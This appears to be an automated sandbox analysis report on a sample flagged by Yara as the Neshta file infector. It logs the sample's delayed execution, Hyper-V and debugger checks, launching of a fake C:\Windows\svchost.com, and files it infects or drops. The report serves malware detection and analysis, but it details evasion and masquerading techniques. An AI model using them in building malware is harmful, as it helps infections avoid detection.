Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Thread delayed: delay time: 18000000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	API call chain: ExitProcess graph end node	graph_1-22425
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	API call chain: ExitProcess graph end node	graph_1-23310
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	API call chain: ExitProcess graph end node	graph_1-22376

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\ARM\S\436\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\Application Data\	Jump to behavior

Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.407641262.000000000227C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyper-V
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.mum.mum0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000002.511277797.0000000000801000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Hyper-V\1.1\.i
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.mumum.mum134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.407641262.000000000227C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyper-VcingManagementnents
Source: wYWdigdSjn.exe, 00000003.00000003.496992210.00000000032C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wow64_microsoft-hyper-v-winsock-provider_31bf3856ad364e35_10.0.17134.1_n
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.catum.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mumum.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.mumum.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367616097.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat.mum.mumum.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.mummd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.catum.mum134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.mum134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.mumum.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367616097.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.mummd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-servercommon-Package~31bf38
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.catmd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367616097.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.mum.mum.mumum.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367616097.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.mumum.mum134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.mum.mum0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.mum134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000002.511277797.0000000000801000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Hyper-V\2.0.0.0\.]
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mumum.mum134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mummd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367616097.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat.mum0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum.mum0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Common-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367616097.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum.mum.mum.mumum.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367616097.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum.mum.mumum.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat.mum10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat134.1.mum
Source: wYWdigdSjn.exe, 00000003.00000003.367023054.00000000021B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vMicrosoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat
Source: wYWdigdSjn.exe, 00000003.00000003.367616097.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00C820D7 IsDebuggerPresent,

1_2_00C820D7

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00CA4AB3 RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

1_2_00CA4AB3

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00CD3B2F LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00CD3B2F

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00B02082 GetProcessHeap,

1_2_00B02082

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00C8EC83 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00C8EC83

Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe "C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe"	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE"	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\tmp.edb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\tmp.edb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: _raise,IsProcessorFeaturePresent,__call_reportfault,___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_abort,RtlEncodePointer,	1_2_00CA977D
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00C9C023
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: GetLocaleInfoW,	1_2_00C9C223
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: _raise,IsProcessorFeaturePresent,__call_reportfault,___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	1_2_00C8BA23

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00CC199F cpuid

1_2_00CC199F

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00CC6749 GetSystemTimeAsFileTime,

1_2_00CC6749

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00CCBDEE GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,

1_2_00CCBDEE

Source: wYWdigdSjn.exe, 00000000.00000003.484485067.00000000020A4000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000003.00000003.282946988.0000000002184000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: wYWdigdSjn.exe, 00000000.00000003.484485067.00000000020A4000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000003.00000003.282946988.0000000002184000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Neshta

Source: Yara match	File source: wYWdigdSjn.exe, type: SAMPLE
Source: Yara match	File source: 0.0.wYWdigdSjn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.508821762.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wYWdigdSjn.exe PID: 3932, type: MEMORYSTR
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\svchost.com, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, type: DROPPED
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, type: DROPPED
